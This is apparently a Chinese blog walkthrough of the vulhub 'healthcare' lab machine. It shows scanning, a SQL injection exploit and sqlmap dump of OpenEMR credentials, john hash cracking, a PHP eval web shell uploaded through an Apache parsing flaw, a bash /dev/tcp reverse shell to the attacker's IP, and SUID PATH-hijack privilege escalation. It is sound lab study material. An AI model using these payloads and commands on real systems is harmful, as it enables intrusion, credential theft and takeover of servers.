vulhub打靶记录——healthcare

文章目录

  • 主机发现
  • 端口扫描
  • FTP—21
    • search ProPFTd EXP
    • FTP 匿名用户登录
  • web服务—80
    • 目录扫描
    • search openemr exp
    • 登录openEMR 后台
  • 提权
  • 总结

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

netdiscover -i eth0 -r 192.168.151.0/24

在这里插入图片描述

  • 192.168.151.1:主机IP;
  • 192.168.151.2:DHCP服务器IP;
  • 192.168.151.3:靶机IP;
  • 192.168.151.4:Kali IP。

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.151.3 

在这里插入图片描述
可见这台靶机,开放了端口:21(ftp,文件传输协议))、80(http,web服务)。

FTP—21

search ProPFTd EXP

searchsploit proPTFd # 搜索exp

尝试了1.3.3c和1.3.5的EXP,均失败。

在这里插入图片描述

FTP 匿名用户登录

尝试匿名用户登录ftp服务器:

ftp 192.168.151.3# 用户名为anonymous 密码为空

在这里插入图片描述
发现登录失败,该FTP服务器不允许匿名登录。

web服务—80

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.151.3 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

访问192.168.151.3/openemr,发现了一个后台登录程序,版本号为openEMR v4.1.0

在这里插入图片描述

search openemr exp

searchsploit openemr  # 搜索exp

在这里插入图片描述
发现该版本的openEMR存在sql注入。

searchsploit -m 49742.py # 将漏洞数据库中的exp复制到当前目录下,避免改数据库中的数据。
vim 49742.py # 更改url路径
python 49742.py # 执行

在这里插入图片描述
在这里插入图片描述
最终可以拿到后台登录用户名与密码,但是密码是经过MD5加密后的结果。同时存在sql注入漏洞的url为:http://192.168.151.3/openemr/interface/login/validateUser.php?u=1。基于改url,也可以直接用sqlmap,命令如下:

sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' # 判断是否存在sql注入
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' --dbs # 查询当前用户下的所有数据库,存在information_schema、openemr、test三个数据库
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr --tables # 获取数据库中的表名 ,users表
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr -T users --columns # 获取表中的字段名,username,password表
sqlmap -u 'http://192.168.151.3/openemr/interface/login/validateUser.php?u=1' -D openemr -T users -C username,password --dump # 获取字段内容

在这里插入图片描述
破解数据库密码
脚本拿到数据库密码后如何破解呢?用john the ripper

touch pw.txt
echo '' >> pw.txt # >>:代表换行追加
hashid '' # hashid判断密文可能使用的加密算法
john pw.txt

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

要看具体哪个密文对应哪个密码,看.john/john.pot

获取用户名、密码:

admin ackbar
medical medical

登录openEMR 后台

拿到后台用户名和密码,直接登录
在这里插入图片描述
administered->file处发现一个文件上传点,经过测试不允许上传.php文件。
在这里插入图片描述
查看web服务的中间件版本,是apache 2.2.17,这个版本是存在多后缀名解析漏洞的。就是说我们可以上传shell.php.来绕过文件后缀检测。上传的文件最终保存路径就在http://192.168.151.3/openemr/sites/default/images下。

在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

<?php @eval($_GET['cmd']);?> # 上传文件内容
http://192.168.151.3/openemr/sites/default/images/shell.php.?cmd=system('bash -i >& /dev/tcp/192.168.151.4/443 0>&1'); # 数据包cookie需要是admin用户的,后门需要经过url编码。

最终的话可以拿到reverse shell。
在这里插入图片描述

提权

python -c 'import pty;pty.spawn("/bin/bash")' # 建立一个半交互式shell
find / -perm -u=s -type f 2>/dev/null # 搜索具备SUID属性的程序

这里发现/usr/bin/healthcheck这个命令肯定不是系统自带的,且具备SUID属性。
在这里插入图片描述
cat /usr/bin/healthcheck,出现乱码,说明是二进制程序。
在这里插入图片描述

也可以用file /usr/bin/healthcheck,查看文件属性。
在这里插入图片描述

strings /usr/bin/healthcheck查看文件中可打印的字符,从结果可以看出,该程序会执行sleep2; ifconfig; fdisk -l; du -h这些shell命令。思路:如果ifconfig命令被重定向为其他程序(比如包含/bin/bash),就可以拿到root用户的shell。
在这里插入图片描述
/tmp目录,任何用户都写读写权限。

touch ifconfig # 常见ifconfig文件
chmod +x ifconfig # 给予可执行权限
echo '/bin/bash' > ifconfig # 写入内容
export PATH=/tmp:$PATH # 修改系统环境变量,后面的$PATH是系统默认的路径
/usr/bin/healthcheck # 不用bash /usr/bin/healthcheck

$PATH变量的值是一系列用冒号分隔的目录路径。例如:

$PATH = /usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin 

在这个例子中,系统将按照指定的顺序搜索/usr/local/bin、/usr/bin、/bin、/usr/local/sbin、/usr/sbin和/sbin这几个目录。

在这里插入图片描述
在这里插入图片描述

总结

  1. 端口扫描发现开放的端口;
  2. 目录扫描发现web网站的上下文,但是需要合适的字典;
  3. 发现openemr有漏洞,找到exp直接获取数据库密码;
  4. 通过获得的密码,登录网站后台,然后找到文件上传点,结合apache解析漏洞获取reverse shell;
  5. 寻找SUID程序/usr/bin/healthcheckstrings打印可打印字符,发现执行ifconfig,更改系统环境变量,执行ifconfig时优先执行伪造的ifconfig。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/295642.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度解析C语言——预处理详解

对C语言有一定了解的同学&#xff0c;相信对预处理一定不会陌生。今天我们就来聊一聊一些预处理的相关知识。预处理是在编译之前对源文件进行简单加工的过程&#xff0c;主要是处理以#开头的命令&#xff0c;例如#include <stdio.h>、#define等。预处理是C语言的一个重要…

CQI-17:2021 V2 英文 、中文版。特殊过程:电子组装制造-锡焊系统评审标准

锡焊作为一个特殊的工艺过程&#xff0c;由于其材料特性的差异性、工艺参数的复杂性和过程控制的不确定性&#xff0c;长期以来一直视为汽车零部件制造业的薄弱环节&#xff0c;并将很大程度上直接导致整车产品质量的下降和召回风险的上升。 美国汽车工业行动集团AIAG的特别工…

Jenkins执行策略(图文讲解)

Jenkins执行策略-图文讲解 一&#xff1a;手动执行1、手动执行流程2、手动执行操作 二、通过构建触发器——定时执行1、定时执行流程2、定时执行操作 三、当开发部署成功之后进行执行——在测试项配置——关注的项目1、执行流程2、操作流程 四、测试代码有更新的时候自动构建1、…

YOLOv5独家改进:小目标 | 注意力 |卷积和注意力融合模块(CAFMAttention) | 2024年4月最新成果

💡💡💡本文独家改进:卷积和注意力融合模块(CAFMAttention),增强对全局和局部特征的提取能力,2024年最新的改进思路 💡💡💡创新点:卷积和注意力巧妙设计 💡💡💡如何跟YOLOv8结合:1)放在backbone后增强对全局和局部特征的提取能力;2)放在detect前面,增…

字符函数与字符串函数,让你的代码更高级

1. 字符分类函数 2. 字符转换函数 3. strlen的使⽤和模拟实现 4. strcpy的使⽤和模拟实现 5. strcat的使⽤和模拟实现 6. strcmp的使⽤和模拟实现 7. strncpy函数的使⽤ 8. strncat函数的使⽤ 9. strncmp函数的使⽤ 10. strstr的使⽤和模拟实现 11. strtok…

基于DWT(离散小波变换)的图像加密水印算法,Matlab实现

博主简介&#xff1a; 专注、专一于Matlab图像处理学习、交流&#xff0c;matlab图像代码代做/项目合作可以联系&#xff08;QQ:3249726188&#xff09; 个人主页&#xff1a;Matlab_ImagePro-CSDN博客 原则&#xff1a;代码均由本人编写完成&#xff0c;非中介&#xff0c;提供…

在编程中使用中文到底该不该??

看到知乎上有个热门问题&#xff0c;为什么很多人反对中文在编程中的使用&#xff1f; 这个问题有几百万的浏览热度&#xff0c;其中排名第一的回答非常简洁&#xff0c;我深以为然&#xff1a; 在国内做开发&#xff0c;用中文写注释、写文档&#xff0c;是非常好的习惯&…

Kitex 提供的服务注册与发现 etcd 拓展

&#x1f4d5;作者简介&#xff1a; 过去日记&#xff0c;致力于Java、GoLang,Rust等多种编程语言&#xff0c;热爱技术&#xff0c;喜欢游戏的博主。 &#x1f4d8;相关专栏Rust初阶教程、go语言基础系列、spring教程等&#xff0c;大家有兴趣的可以看一看 &#x1f4d9;Jav…

python批量转化pdf图片为jpg图片

1.把pdf图片批量转为jpg&#xff1b;需要注意的是&#xff0c;需要先安装poppler这个软件&#xff0c;具体安装教程放在下面代码中了 2.代码 #poppler安装教程参考&#xff1a;https://blog.csdn.net/wy01415/article/details/110257130 #windows上poppler下载链接&#xff1a…

5G PLMN相关概念

PLMN PLMN&#xff08;Public Land Mobile Network&#xff0c;公用陆地移动网络&#xff09;&#xff0c;是由政府或其批准的经营者为公众提供陆地移动通信业务而建立、经营的网络。PLMN与公众交换电话网&#xff08;PSTN&#xff09;互连&#xff0c;形成整个地区或国家规模…

mysql锁表问题

问题描述 偶尔应用日志会打印锁表超时回滚 org.springframework.dao.CannotAcquireLockException: ### Error updating database. Cause: com.mysql.cj.jdbc.exceptions.MySQLTransactionRollbackException: Lock wait timeout exceeded; try restarting transactionmysql锁…

【SQL Server】1. 认识+使用

1. 创建数据库的默认存储路径 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft SQL Server 2008 R2 当我们选择删除数据库时&#xff0c;对应路径下的文件也就删除了 2. 导入导出数据工具的路径 3. 注册数据库遇到的问题 ??? 目前的问题就是服务器新建…

应急响应实战笔记04Windows实战篇(5)

第5篇&#xff1a;挖矿病毒&#xff08;一&#xff09; 0x00 前言 ​ 随着虚拟货币的疯狂炒作&#xff0c;挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一。病毒传播者可以利用个人电脑或服务器进行挖矿&#xff0c;具体现象为电脑CPU占用率高&#xff0c;C盘可使用空间…

【Web】记录Polar靶场<中等>难度题一遍过(全)

目录 到底给不给flag呢 写shell 注入 某函数的复仇 xxe SSTI unpickle BlackMagic 反序列化 找找shell 再来ping一波啊 wu 代码审计1 你的马呢&#xff1f; ezphp 随机值 phpurl search file PlayGame csdn 反正持续一个月&#xff0c;感觉XYCTF…

2024五大招聘趋势

2024年的招聘趋势梳理了五个关键趋势&#xff1a;AI驱动的招聘技术的兴起、自动化的重要性、向候选人为中心的招聘转变、招聘者外联的增加个性化&#xff0c;以及重视基于技能的招聘。尽管经济存在不确定性&#xff0c;但预计对AI用于招聘的投资将继续增长&#xff0c;大力强调…

数据结构——栈(C语言版)

前言&#xff1a; 在学习完数据结构顺序表和链表之后&#xff0c;其实我们就可以做很多事情了&#xff0c;后面的栈和队列&#xff0c;其实就是对前面的顺序表和链表的灵活运用&#xff0c;今天我们就来学习一下栈的原理和应用。 准备工作&#xff1a;本人习惯将文件放在test.c…

ubuntu22.04@Jetson Orin Nano安装配置VNC服务端

ubuntu22.04Jetson Orin Nano安装&配置VNC服务端 1. 源由2. 环境3. VNC安装Step 1: update and install xserver-xorg-video-dummyStep 2: Create config for dummy virtual displayStep3: Add the following contents in xorg.conf.dummyStep 4: Update /etc/X11/xorg.con…

WPF-基础及进阶扩展合集(持续更新)

目录 一、基础 1、GridSplitter分割线 2、x:static访问资源文件 3、wpf触发器 4、添加xaml资源文件 5、Convert转换器 6、多路绑定与多路转换器 二、进阶扩展 1、HierarchicalDataTemplate 2、XmlDataProvider从外部文件获取源 3、TextBox在CellTemplate中的焦点问题…

Python基础之pandas:文件读取与数据处理

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、文件读取1.以pd.read_csv()为例&#xff1a;2.数据查看 二、数据离散化、排序1.pd.cut()离散化&#xff0c;以按范围加标签为例2. pd.qcut()实现离散化3.排序4.…

stream使用

stream流式计算 在Java1.8之前还没有stream流式算法的时候&#xff0c;我们要是在一个放有多个User对象的list集合中&#xff0c;将每个User对象的主键ID取出&#xff0c;组合成一个新的集合&#xff0c;首先想到的肯定是遍历&#xff0c;如下&#xff1a; List<Long> u…